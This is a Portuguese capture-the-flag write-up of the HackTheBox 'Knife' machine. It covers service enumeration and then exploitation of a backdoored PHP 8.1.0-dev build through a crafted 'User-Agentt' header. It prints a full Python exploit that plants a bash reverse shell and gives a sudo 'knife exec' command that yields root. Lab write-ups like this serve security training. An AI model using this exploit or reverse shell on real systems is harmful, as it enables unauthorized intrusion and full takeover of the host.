5 minutos
HackTheBox - Knife
Neste ‘writeup’ veremos a resolução da máquina ‘Knife’ do HackTheBox.
Informações da Máquina
IP: 10.10.10.242
Sistema Operacional: Linux
Nível de dificuldade: Easy
Varredura e Enumeração
Port Scan
Duas portas abertas foram descobertas com o Nmap: 22 e 80. Abaixo o resultado do Nmap executando o scan com os scripts padrão.
# Nmap 7.91 scan initiated Mon Jun 21 18:20:19 2021 as: nmap -v -sC -sV -p 22,80 -Pn -oN details.txt 10.10.10.242
Nmap scan report for 10.10.10.242
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e🆎22:0e:c0:ee (ECDSA)
|_ 256 1a🇩🇪a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 21 18:20:41 2021 -- 1 IP address (1 host up) scanned in 22.53 seconds
Webserver
O resultado do comando Nmap mostra a porta 80 aberta e ao acessar o ip da máquina é possível visualizar uma página html.
Para acessar o site pelo seu domínio e não pelo seu ip basta inserir a linha correspondente ao arquivo /etc/hosts.
10.10.10.242 knife.htb
O site poderá ser acessado pela seguinte URL.
http://knife.htb
Ao examinar o código fonte da página nada foi encontrado. A enumeração de diretórios e arquivos também não mostrou nada relevante exposto pelo servidor, além da página principal. Isto indica que a vulnerabilidade pode estar em alguma tecnologia presente que não foi atualizada. Neste caso é necessário verificar a versão do que está sendo utilizado no host. Para esta tarefa foi utilizado o ‘whatweb’.
http://10.10.10.242 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)],
IP[10.10.10.242], PHP[8.1.0-dev], Script,
Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]
A saída do comando mostra que o servidor roda um Apache/2.4.41 e a linguagem de programação utilizada é o PHP 8.1.0-dev.
Vulnerabilidade
Buscando por vulnerabilidade nesta versão de PHP foi possível encontrar um exploit disponível no ExploitDB.
Exploração
O exploit consiste em um script python que envia um ‘User-Agentt’ alterado, permitindo a execução de um RCE (Remote Code Execution) no host. Com o exploit é possível obter um shell interativo.
Listando o diretório ‘home’ do usuário james:
Apesar de ser útil para obter mais informações do host e inclusive a ‘flag’ do user.txt na ‘home’ do usuário james, a alteração do script para obter um ‘reverse shell’ é o ideal. A linha do “User-Agentt” foi alterada, removendo o “cmd” como payload e colocando em seu lugar uma conexão reversa em bash passando como parâmetro o ip e porta da máquina local do atacante.
#!/usr/bin/env python3
import os
import re
import requests
host = input("Enter the full host url (http://host/): ")
ip = input("Local IP: ")
port = input("Local Port: ")
request = requests.Session()
response = request.get(host)
if str(response) == '<Response [200]>':
try:
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"User-Agentt": "zerodiumsystem('/bin/bash -c \"bash -i >&/dev/tcp/{}/{} 0>&1\"');".format(ip,port)
}
response = request.get(host, headers = headers, allow_redirects = False)
except (KeyboardInterrupt):
print("Exiting...")
exit
else:
print("\r")
print(response)
print("Host is not available, aborting...")
exit
Após executar o script informando o ip do host e o ip e porta da máquina local obtemos um ‘reverse shell’.
Obtendo a flag do user.txt:
Enumerando internamente o diretório /var/www/html apenas uma página index.html foi encontrada. Porém no diretório /opt podemos encontrar outros dois diretórios que pertencem a um software de terceiros (chef-workstation e opscode). Inclusive na ‘home’ do usuário é possível verificar a existência do diretório oculto “.chef” com um arquivo “credentials”.
Buscando por ‘chef’ encontramos mais informações sobre este software na página do desenvolvedor.
Chef é uma empresa de automação. Desde sua fundação em 2008, reunimos
desenvolvedores e administradores de sistema com nosso produto homônimo, Chef Infra.
Com o passar dos anos, o que entendemos por automação se expandiu.
Hoje, o Chef tem uma solução de automação completa para infraestrutura
e aplicativos que o leva desde o desenvolvimento até a produção.
Como se trata de um software de automação o mais provável é que o usuário james possa executar algum binário ou script com permissões de root e assim será possível escalar privilégio na máquina.
Escalação de Privilégios
O primeiro passo é saber se o usuário james está incluído no ‘sudoers’ e se possui alguma permissão específica para executar algum script ou binário.
A saída do comando mostra que o arquivo /usr/bin/knife pode ser executado pelo usuário james com permissão de root e sem a necessidade de informar a senha do usuário.
Com o comando ‘file’ descobrimos que o arquivo ‘knife’ é na realidade um link simbólico para outro de mesmo nome dentro do diretório ‘chef-workstation’.
Portanto, o ‘knife’ é um utilitário de automação do ‘chef-workstation’ e para descobrir como usá-lo para escalar privilégio é necessário pesquisar no site do desenvolvedor.
O parâmetro que permite a execução de scripts ruby ou algum comando do sistema é o exec.
Pode ser visualizado também ao executar o arquivo e buscar no seu menú de opções:
Este é o comando utilizado para obter root:
sudo knife exec --exec "exec '/bin/bash -i'"
Obtendo a flag do root:
Neste ‘writeup’ foi demonstrado como invadir a máquina ‘knife’ através da exploração de um software desatualizado (PHP) no servidor. Logo em seguida, com uma enumeração básica na máquina, foi descoberto que o usuário ‘james’ pode executar um script (knife) com permissões de root, bastando que o ‘script’ seja executado com o ‘sudo’ e sem o uso de senha do usuário, o que é considerado uma falha de segurança.
Até a próxima!